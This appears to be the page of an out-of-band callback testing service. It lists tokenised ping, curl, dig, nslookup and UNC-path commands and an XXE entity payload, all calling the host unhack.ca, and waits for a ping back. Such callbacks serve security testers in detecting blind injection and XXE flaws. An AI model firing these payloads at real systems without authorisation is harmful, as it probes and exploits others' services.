$ ping -c1 -p 0050c846b4d974d13918a9d7a83b4000 unhack.ca
$ curl http://unhack.ca/p/50c846b4d974d13918a9d7a83b40
$ dig 50c846b4d974d13918a9d7a83b40 @unhack.ca
$ dig 50c846b4d974d13918a9d7a83b40.ns.unhack.ca
C:\> nslookup 50c846b4d974d13918a9d7a83b40 unhack.ca
C:\> type \\unhack.ca\50c846b4d974d13918a9d7a83b40\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/50c846b4d974d13918a9d7a83b40">]>
<foo>&xxe;</foo>
Waiting for ping...